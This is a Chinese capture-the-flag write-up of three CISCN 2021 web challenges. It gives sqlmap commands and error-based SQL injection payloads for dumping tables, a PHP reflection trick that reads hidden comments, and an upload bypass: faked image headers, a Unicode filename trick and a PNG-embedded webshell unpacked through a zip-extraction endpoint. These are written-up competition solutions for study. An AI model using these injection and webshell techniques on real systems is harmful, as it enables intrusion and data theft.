ciscn-web(更新upload) – 作者:rickkk

ciscn-web

第一次参加这种大型比赛,第一张卷子的web做完了,但是后面的一道也不会0.0,有道middle_source当时由想到session_upload_progress但是没有深入0.0,晚上没有007,身体第一位。

可惜的是还差一两道题就能进省赛了。

1.easy_sql

image-20210515183451379

手工注入单引号,存在注入点

image-20210515183502535

尝试sqlmap扫描,发现有报错注入和布尔注入(由于之前做的时候没有截图,下面放的是log文件内的内容)

image-20210515180407132

于是开始利用

--dbs

扫出数据库名

image-20210515180542102

继续跟进参数

-D security -tables

爆表名和列名,爆出users和flag表,先爆users列名

-D security -tables users -columns

爆出id,username,password,跟进参数

-D security -T users -C id,username,password -dump

image-20210515180743298

爆出了整张表,但尝试后发现所有账户只会回显login并无flag,转而爆破flag表,

经过一番爆破后发现只有id字段(当然是不可能的),于是手工尝试使用报错注入查询information_schema里的字段

')and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"))))# &passwd=1&Submit=%E7%99%BB%E5%BD%95

回显为no,尝试大小写绕过,依然是no,既然information_schema不能用了,只能尝试无列名注入了,原理是mysql列名重复会报错,输入payload

uname=')and(select extractvalue(1,concat(0x7e,(select * from(select * from flag a join flag b)d))))# &passwd=1&Submit=%E7%99%BB%E5%BD%

image-20210515184939760

得到第一个字段,使用using继续获取第二个字段

image-20210515185003174

最终payload

uname=')and(select extractvalue(1,concat(0x7e,(select *  from(select * from flag a join flag b using(id,no))d))))# &passwd=1&Submit=%E7%99%BB%E5%BD%

image-20210515185107496

回到sqlmap,输入 -C xxx 即可dump出flag

image-20210515185158598

2.easy_source

扫描后台,发现vim备份源码

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd()); var_dump(sys)

题目描述是代码没有显示完全,flag就在这个文件中,但给出的源码只有User一个类,并且看上去和flag无关。

结合题目描述,flag就在文件中并由$rc联想到php反射类,思路自然来了,用反射类的getDocComment()函数看一看注释有没有flag。payload如下:

GET /?rc=ReflectionMethod&ra=User&rb=b&rd=getDocComment

image-20210515185700507

发现没有回显flag,尝试更换ReflectionMethod()的args参数,把类中方法名字均试一遍后,在p方法处,找到flag

QQ图片20210515185855

3.upload

更新一波upload,这道题思路比较简单,但还是花了我很长时间

附上源码

源码分析

index.php

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

绕过:

  • getimagesize() 抓包在文件末尾加上

#define width 1 
#define height 1
  • stristr($fileName,”i”) %c4%b0可以绕过函数检测,然后下面的mb_strtolower()可以将大写I转换为小写i

example.php(扫出来的)

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);//输出到example目录下
            imagedestroy($second); 
        }
        imagedestroy($first);
        unlink($file);
    }

}

example.php主要是对解压后的文件进行检验,如果是png就会放在example目录下,否则unlink()。

接下来就可以开始upload了

上传抓包

由于题目没有设置post上传点,于是为了方便,我在本地用phpstudy搭建了一个上传点:

<form action="http://f456bfee-c4f7-4ea0-b885-fc4d6e22b651.node3.buuoj.cn/?ctf=upload" method="post" enctype="multipart/form-data">
    <p><input type="file" name="postedFile" id="id"></p>
    <p><input type="submit" name="submit" value="submit" ></p>
</form>

用图片马生成工具PNG-IDAT-Payload-Generator-master输入命令-m php -o aaa.png然后将其后缀改为php,打包开始上传。

QQ图片20210531090835

bp抓包修改后缀并绕过getimagesize(),之后显示上传成功并告诉你路径,然后就访问example.php去解压文件。

最后输入payload

QQ图片20210531091108

然后find /etc -name fl** 就可以找到flag路径并cat出来了

QQ图片20210531091207

来源:freebuf.com 2021-05-31 17:12:00 by: rickkk

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论